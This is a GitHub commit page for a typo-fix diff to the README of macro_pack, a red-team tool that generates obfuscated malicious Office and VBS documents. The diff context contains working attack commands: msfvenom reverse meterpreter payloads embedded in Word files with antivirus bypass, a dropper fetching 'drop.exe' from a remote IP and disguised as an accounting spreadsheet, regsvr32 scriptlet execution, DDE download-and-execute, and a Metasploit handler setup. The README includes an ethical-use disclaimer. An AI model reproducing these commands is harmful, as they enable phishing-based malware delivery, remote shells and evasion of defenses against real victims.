Skip to content

Commit

Permalink
Merge pull request #26 from paralax/patch-1
Browse files Browse the repository at this point in the history
fix typos, no content changes
  • Loading branch information
sevagas committed Feb 2, 2018
2 parents 9bac6b1 + db2abde commit 77cbf98
Showing 1 changed file with 9 additions and 9 deletions.
18 changes: 9 additions & 9 deletions README.md
Expand Up @@ -24,7 +24,7 @@ This tool is written in Python3 and works on both Linux and Windows platform.
### Obfuscation

The tool will use various obfuscation techniques, all automatic.
Obfuscation feature is competible with all format that can be generated by macri\_pack, VBA or VBS based.
Obfuscation feature is compatible with all format that can be generated by macri\_pack, VBA or VBS based.
Basic obfuscation (-o option) includes:
* Renaming functions
* Renaming variables
Expand Down Expand Up @@ -66,7 +66,7 @@ Note that all scripting formats can be generated on Linux version of macro\_pack
### Ethical use

The macro\_pack tool shall only be used by pentester, security researchers, or other people with learning purpose.
I condamn all use of security tools for unethical actions (weather these ar legal or illegal).
I condemn all use of security tools for unethical actions (weather these ar legal or illegal).
I know this will not prevent usage by malicious people and that is why all features are not publicly released.

### About pro mode...
Expand All @@ -81,8 +81,8 @@ The pro mode includes features such as:
* Lateral movement using DCOM objects
* Anti-debug using http://seclists.org/fulldisclosure/2017/Mar/90

For now I do not plan to release or sell this pro version however if you are really interrested I can share pro binary in the next case:
* You significally contribute to macro\_pack on GitHub + I need to know your identity
For now I do not plan to release or sell this pro version however if you are really interested I can share pro binary in the next case:
* You significantly contribute to macro\_pack on GitHub + I need to know your identity



Expand Down Expand Up @@ -171,7 +171,7 @@ python macro_pack.py --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.doc
```batch
# 1 Generate obfuscated VBS based on meterpreter template
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machinge Setup meterpreter listener
# 2 On attacker machine Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set LHOST 0.0.0.0
Expand Down Expand Up @@ -230,7 +230,7 @@ regsvr32 /u /n /s /i:meter.sct scrobj.dll
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass --stealth -G "E:\accounting\report.xls"
```

- Genenerate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate.
- Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate.
```bash
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --vbom-encode --keep-alive -G out.docm
```
Expand Down Expand Up @@ -427,7 +427,7 @@ exploit -j
### EMBED_EXE
Combine with --embed option, it will drop and execute (hidden) the embedded file.
Optionaly you can give to the template the path where file should be extracted
Optionally you can give to the template the path where file should be extracted
If extraction path is not given, file will be extracted with random name in current path.
-> Example1: ``` macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.vbs```
-> Example2: ```echo "path\\to\newcalc.exe" | macro_pack.exe -t EMBED_EXE --embed=%%windir%%\system32\calc.exe -o -G my_calc.doc```
Expand All @@ -436,7 +436,7 @@ If extraction path is not given, file will be extracted with random name in curr

## Efficiency

The various features were tested against localy installed Antimalware solutions as well as online service. I ran multiple tests with several kind of payloads and macro\_pack features.
The various features were tested against locally installed Antimalware solutions as well as online service. I ran multiple tests with several kind of payloads and macro\_pack features.
A majority of antivirus will be evaded by the simple "obfuscate" option. Features available in pro mode generally ensure full AV bypass.

### Example with Empire VBA stager:
Expand All @@ -463,7 +463,7 @@ Blog posts about MS Office security:

Other useful links:
- https://github.com/p3nt4/PowerShdll (Run PowerShell with dlls only)
- https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Run powershel script with PowerShdll VBA implementation)
- https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Run powershell script with PowerShdll VBA implementation)
- https://enigma0x3.net/2016/03/15/phishing-with-empire/ (Generate Empire VBA payload)
- https://github.com/EmpireProject/Empire
- https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
Expand Down

0 comments on commit 77cbf98

Please sign in to comment.